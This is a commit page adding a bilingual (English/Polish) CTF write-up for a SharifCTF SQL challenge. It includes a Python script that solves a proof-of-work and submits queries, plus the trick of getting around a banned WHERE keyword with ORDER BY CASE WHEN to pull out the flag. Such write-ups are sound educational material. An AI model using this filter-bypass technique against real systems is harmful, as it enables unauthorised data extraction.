Skip to content

Commit 4928e04

Browse files
committed
Add SQL writeup
1 parent 02fa0e7 commit 4928e04

File tree

2 files changed

+114
-0
lines changed

2 files changed

+114
-0
lines changed
+114
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
## SQL (Pwn, 150p)
2+
3+
> Our website executes your PostgreSQL queries. And flags are nicely formatted.
4+
5+
###ENG
6+
[PL](#pl-version)
7+
8+
We are given address of webpage that executes our queries on CTF database. There is flag we are looking for in that database. Looks like that challenge is trivial, doesn't it?
9+
10+
![](screen.png)
11+
12+
Unfortunatelly, there are two problems:
13+
* we have to present PoW (proof of work) before each request
14+
* query can't contain where, because otherwise engine will refuse to execute it
15+
16+
Whatever, we start with getting column and table names from information_schema. We used simple script for that:
17+
18+
```python
19+
import requests, hashlib, time, sys
20+
21+
def query(sql):
22+
r=requests.get("http://ctf.sharif.edu:36455/chal/sql/")
23+
nonce=r.text.split("\n")[7].split(" ")[1]
24+
i=1
25+
s=""
26+
print "Looking for collision"
27+
start=time.time()
28+
while True:
29+
if i%1000000==0:
30+
print i
31+
print time.time()-start, "s"
32+
s=str(i)+nonce
33+
m=hashlib.sha1()
34+
m.update(s)
35+
if m.hexdigest()[0:5]=="00000":
36+
break
37+
i+=1
38+
print "Found collision: "+str(i)
39+
r=requests.post("http://ctf.sharif.edu:36455/chal/sql/", cookies=r.cookies,
40+
data={ "pow":str(i), "sql":sql } )
41+
print r.text
42+
43+
44+
query(sys.argv[1])
45+
```
46+
47+
Where may be forbidden, but ORDER BY is not, so we can easily substitute WHERE by it, using ORDER BY (CASE WHEN condition THEN 1 ELSE 0 END).
48+
49+
Implementing that idea...
50+
51+
python hack.py "select * from messages order by (case when msg like '%Sharif%' then 1 else 0 end) desc"
52+
53+
...
54+
55+
<td>95321145</td>
56+
<td>SharifCTF{f1c16ea7b34877811e4662101b6a0d30}</td>
57+
<td>1</td>
58+
59+
Chalegne solved
60+
61+
###PL version
62+
63+
Jest podany adres strony, która uruchamia nasze zapytania SQL na bazie CTFa. W bazie jest flaga. Czy może być prościej?
64+
65+
![](screen.png)
66+
67+
Niestety, są dwa utrudnienia:
68+
* trzeba przedstawiać PoW przed każdym requestem
69+
* zaptytanie nie może zawierać "WHERE" (bo inaczej jest odrzucane)
70+
71+
Tak czy inaczej, zaczynamy od zapytanie o kolumny i istniejące tabele (do tabeli information_schema), używając prostego skryptu:
72+
73+
```python
74+
import requests, hashlib, time, sys
75+
76+
def query(sql):
77+
r=requests.get("http://ctf.sharif.edu:36455/chal/sql/")
78+
nonce=r.text.split("\n")[7].split(" ")[1]
79+
i=1
80+
s=""
81+
print "Looking for collision"
82+
start=time.time()
83+
while True:
84+
if i%1000000==0:
85+
print i
86+
print time.time()-start, "s"
87+
s=str(i)+nonce
88+
m=hashlib.sha1()
89+
m.update(s)
90+
if m.hexdigest()[0:5]=="00000":
91+
break
92+
i+=1
93+
print "Found collision: "+str(i)
94+
r=requests.post("http://ctf.sharif.edu:36455/chal/sql/", cookies=r.cookies,
95+
data={ "pow":str(i), "sql":sql } )
96+
print r.text
97+
98+
99+
query(sys.argv[1])
100+
```
101+
102+
O ile where jest zakazane, to ORDER BY nie jest, więc można łatwo uzyskać interesujący nas rekord używając ORDER BY (CASE WHEN warunek THEN 1 ELSE 0 END).
103+
104+
Implementując ten pomysł...
105+
106+
python hack.py "select * from messages order by (case when msg like '%Sharif%' then 1 else 0 end) desc"
107+
108+
...
109+
110+
<td>95321145</td>
111+
<td>SharifCTF{f1c16ea7b34877811e4662101b6a0d30}</td>
112+
<td>1</td>
113+
114+
Zadanie zrobione.
8.17 KB
Loading

0 commit comments

Comments
 (0)